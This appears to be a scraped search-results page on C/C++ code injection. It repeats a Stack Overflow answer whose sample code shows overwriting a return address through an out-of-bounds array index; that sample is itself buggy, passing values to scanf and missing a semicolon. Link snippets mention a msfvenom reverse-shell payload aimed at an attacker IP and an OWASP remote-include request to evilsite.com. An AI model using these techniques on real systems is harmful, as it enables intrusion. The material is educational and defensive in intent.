The general trick has to do with how the program's code and variables are layed out in memory. For example, when a function is called the program (code inserted by the compiler) must store the address of the instruction to return to. So if this is the 32 bit word just before the beginning of the stack, one could do:

 void foo()
 {
    int array[5];
    int var = 0;
    int var2 = 0;

    // read in user input
    printf("Enter index and value to write:");
    scanf("%i", var);
    scanf("%i", var2);

    // malicious user might set var to -1 and var2 to an address to execute
    // if say the 32-bit value before the stack variables is the instruction to
    // return to
    array[var] = var2

    // return now goes to malicious code
 }

(So your job is to construct code so that such a thing is not possible. :) )

The rules for how a function call is implemented, stack variables allocated, values passed, and return values returned back is called the calling convention. I reccomend reading the attached article for a good indepth coverage of C calling conventionts.

Answer from Doug T. on Stack Overflow
Top answer
1 of 3
11

The general trick has to do with how the program's code and variables are layed out in memory. For example, when a function is called the program (code inserted by the compiler) must store the address of the instruction to return to. So if this is the 32 bit word just before the beginning of the stack, one could do:

 void foo()
 {
    int array[5];
    int var = 0;
    int var2 = 0;

    // read in user input
    printf("Enter index and value to write:");
    scanf("%i", var);
    scanf("%i", var2);

    // malicious user might set var to -1 and var2 to an address to execute
    // if say the 32-bit value before the stack variables is the instruction to
    // return to
    array[var] = var2

    // return now goes to malicious code
 }

(So your job is to construct code so that such a thing is not possible. :) )

The rules for how a function call is implemented, stack variables allocated, values passed, and return values returned back is called the calling convention. I reccomend reading the attached article for a good indepth coverage of C calling conventionts.

2 of 3
2

If you allocate a buffer on the stack, and it overflows, it writes onto the stack. The stack contains the return pointer for the function that allocated the buffer. So, if you overflow a buffer on the stack, you can set the return pointer to something arbitrary; thereby giving you control of the thread of execution.

As to actually injecting the code, that depends. The stack - or rather, the page containing it - is often set not to allow code execution; but historically it would have been possible to store small malicious programs in the buffer itself on the stack. Return oriented programming is a fairly new variant of the return-to-libc attack, both of which work around NX bits.

🌐
Usf
cse.usf.edu › ~ligatti › papers › code-inj.pdf pdf
Defining Code-injection Attacks Donald Ray Jay Ligatti
For example, an · application might input two strings, a file name f and a file exten- sion e, and concatenate them to generate the program SELECT * FROM properties WHERE filename=‘f.e’. Although the user · has injected no code, SQLCHECK flags this output as a CIAO be-
Discussions

exploit - C/C++ code injection - Information Security Stack Exchange
I think you are confused between overflows,code injection and shell execute function. ... An injection attack is when you can get a program to interpret data in a way unintended by the developer. For example, ' OR 1=1 --, the single apostrophe is interpreted as "end of string", not just as data. More on security.stackexchange.com
🌐 security.stackexchange.com
October 29, 2019
Dependency Injection is a 25-dollar term for a 5-cent concept.

Honestly, as a young developer, every time I read about DI and IoC they make it so difficult to understand. I feel like they explain it in the hardest way possible. Honestly, it's so confusing that I understand it but I feel like I don't understand at the same time. Somebody, in plain english without the cool sounding programmer jargon, explain to me very simply what DI and IoC is? (the article was pretty helpful on DI tho)

Also, look at how many comments are already arguing on different concepts on how to use DI. This alone is infuriating. IF ITS SO SIMPLE, WHY ARE THERE SO MANY DIFFERENT OPINIONS?!?

More on reddit.com
🌐 r/programming
551
1061
April 17, 2018
How do I inject code with a buffer overflow attack?
Check out liveoverflow. He has a video that will do exactly this IIRC. If you’re reading input with gets then you can just overwrite the buffer and subsequently the return address with the desired function’s address. More on reddit.com
🌐 r/C_Programming
21
33
May 3, 2019
Code injection in C#?
If you look for things related to injection, you'll find things trying to modify compiled applications for which you do not have the source. This will be much more complicated than what you are asking about. Since you clearly want to make this a feature of a program you own the source code to, then you have several options. An older way is using Emit: http://www.brainbell.com/tutors/C_Sharp/Creating_and_Executing_Code_at_Run_Time.htm A newer way is using Roslyn: http://www.tugberkugurlu.com/archive/compiling-c-sharp-code-into-memory-and-executing-it-with-roslyn Here's some Google fu: https://www.google.com/search?q=c%23+running+code+at+runtime+dynamic More on reddit.com
🌐 r/csharp
20
16
September 21, 2017
🌐
Wisc
research.cs.wisc.edu › mist › SoftwareSecurityCourse › Chapters › 3_8_3-Code-Injections.pdf pdf
We are in the process of renumbering ...
Contacts: bart@cs.wisc.edu and elisa@cs.wisc.edu · © 2023-2026 Barton P. Miller and Elisa Heymann All rights reserved. Instructors may link to this page and students are free to use these resources for their personal use

The general trick has to do with how the program's code and variables are layed out in memory. For example, when a function is called the program (code inserted by the compiler) must store the address of the instruction to return to. So if this is the 32 bit word just before the beginning of the stack, one could do:

 void foo()
 {
    int array[5];
    int var = 0;
    int var2 = 0;

    // read in user input
    printf("Enter index and value to write:");
    scanf("%i", var);
    scanf("%i", var2);

    // malicious user might set var to -1 and var2 to an address to execute
    // if say the 32-bit value before the stack variables is the instruction to
    // return to
    array[var] = var2

    // return now goes to malicious code
 }

(So your job is to construct code so that such a thing is not possible. :) )

The rules for how a function call is implemented, stack variables allocated, values passed, and return values returned back is called the calling convention. I reccomend reading the attached article for a good indepth coverage of C calling conventionts.

Answer from Doug T. on Stack Overflow
🌐
Kuleuven
cs.kuleuven.be › publicaties › rapporten › cw › CW386.pdf pdf
Code Injection in C and C++ : A Survey of Vulnerabilities and Countermeasures
what the programmer believed at a particular point in the code, e.g. if a value · is read from an untrusted source and sanitized, the programmer believes that it · will be used for something sensitive, if the checker does not find such a call, it · assumes the check missed a possibly dangerous operation and reports this. They demonstrate their metacompilation technique with example specifica-
🌐
Wikipedia
en.wikipedia.org › wiki › Code_injection
Code injection - Wikipedia
February 14, 2026 - Code injection could, for example: Introduce a useful new column that did not appear in the original design of a search results page. Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
🌐
InformIT
informit.com › articles › article.aspx
Code Injection | Secure Coding in C and C++: Strings | InformIT
The get password program shown in Figure 2–9 can also be exploited to execute arbitrary code. This time, the program was compiled for Red Hat Linux 9.0 using GCC. An exploit can be injected into the program via a binary data file (as shown in Figure 2–24) from a file using redirection as follows:
Find elsewhere
🌐
Sevagas
blog.sevagas.com › IMG › pdf › code_injection_series_part1.pdf pdf
Code Injection - Process PE Injection Basics
This site is about IT security. Here we present the authors articles and security tools. This site is cooperative, feel free to comment and criticize any article/application. If you want to publish your articles and/or applications on this site, send a request to contact[at]sevagas.com.
🌐
SANS
isc.sans.edu › diary › 30388
Visual Examples of Code Injection - SANS Internet Storm Center
The ipconfig.exe process is trying to contact C2 servers. ... Note that injection in another (or the local) procress, can be performed from any programming languages, also scripts!
🌐
Semantic Scholar
semanticscholar.org › papers › code injection in c and c++: a survey of vulnerabilities and countermeasures
[PDF] Code injection in C and C++: a survey of vulnerabilities and countermeasures | Semantic Scholar
July 1, 2004 - This report documents possible vulnerabilities in C and C++ applications that could lead to situations that allow for code injection and describes the techniques generally used by attackers to exploit them. Implementation errors relating to memory-safety are the most common vulnerabilities ...
🌐
Bright Security
brightsec.com › blog › code-injection-example
Code Injection Example: A Guide to Discovering and Preventing attacks - Bright Security
March 25, 2025 - See real-life code injection examples and how code injection vulnerabilities affect some of the most popular programming languages
🌐
Stack Exchange
security.stackexchange.com › questions › 220359 › c-c-code-injection
exploit - C/C++ code injection - Information Security Stack Exchange
October 29, 2019 - ... An injection attack is when you can get a program to interpret data in a way unintended by the developer. For example, ' OR 1=1 --, the single apostrophe is interpreted as "end of string", not just as data.
🌐
Stanford University
web.stanford.edu › class › cs142 › lectures › CodeInjection.pdf pdf
CS142 Lecture Notes - Code Injection Attacks Code Injection Attacks
CS142 Lecture Notes - Code Injection Attacks · Reflected Cross Site Scripting · ● · Attacker doesn't need to store attack on website, can just reflect it off the · website. Call a Reflected Cross Site Scripting Attack · ● · Consider a website that shows the search term used (like our states view) ○ ·
🌐
GitHub
cocomelonc.github.io › tutorial › 2021 › 09 › 18 › malware-injection-1.html
Classic code injection into the process. Simple C++ malware. - cocomelonc
September 18, 2021 - In this post we will discuss about a classic technique which are payload injection using debugging API. Firstly, let’s go to prepare our payload. For simplicity, we use msfvenom reverse shell payload from Kali linux. ... where 10.9.1.6 is our attacker’s machine IP address, and 4444 is port which we run listener later. Let’s start with simple C++ code of our malware, which is used by me in AV evasion part 1 post: /* cpp implementation malware example with msfvenom payload */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // our payload: reverse shell (msfv
🌐
DZone
dzone.com › software design and architecture › security › code injection – examples and prevention
Code Injection – Examples and Prevention
November 21, 2021 - A successful exploit grants attackers access to the application’s server-side interpreter, following which the attackers can use system calls to run commands on the server and penetrate further for deeper exploitation. Types of code injection attacks differ depending on the programming language used to develop the application’s source code and the attacker’s malicious code.
🌐
OWASP Foundation
owasp.org › www-community › attacks › Code_Injection
Code Injection | OWASP Foundation
The file “evilcode.php” may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute their PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evilcode.php ... When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible.
🌐
ScienceDirect
sciencedirect.com › topics › computer-science › code-injection-attack
Code Injection Attack - an overview | ScienceDirect Topics
Code injection (CI) attacks exploit the lack of memory checks to mount an attack. First, a CI attack corrupts the stack of a process by overwriting parts of it with malicious data. For example, Listing 3 shows a process that asks the user for an input and stores it on the stack.
🌐
GitHub
cocomelonc.github.io › tutorial › 2021 › 12 › 13 › malware-injection-12.html
Code injection via memory sections. Simple C++ example. - cocomelonc
December 13, 2021 - Changes to the local view of the section will also cause remote views to be modified as well, thus bypassing the need for APIs such as KERNEL32.DLL!WriteProcessMemory to write malicious code into remote process address space.
🌐
GitHub
github.com › topics › code-injection
code-injection · GitHub Topics · GitHub
Advanced Game Hacking Library for C, Modern C++, Rust and Python (Windows/Linux/FreeBSD) (Process/Memory Hacking) (Hooking/Detouring) (Cross Platform) (x86/x64) (DLL/SO Injection) (Internal/External) (Assembler/Disassembler) python c rust hook c-plus-plus memory assembler disassembler process game-hacking code-injection syscall function-call detour-hook library-injection
🌐
Greg Scharf
blog.gregscharf.com › 2023 › 04 › 11 › code-injections
Code Injections :: Greg Scharf — Development & Security
April 11, 2023 - By ‘directly included’, I mean ... application. A common CTF example is a calculator embedded in a web app that takes user input and then sends that input directly to eval() as an argument....
🌐
Andrea Fortuna
andreafortuna.org › 2019 › 03 › 06 › a-simple-windows-code-injection-example-written-in-c
A simple Windows code Injection example written in C# | Andrea Fortuna
March 6, 2019 - Lines 84 - 88: some code to covert the shellcode string into byte array · Line 91: calls VirtualAllocEx, in order to allocate a memory area in target process.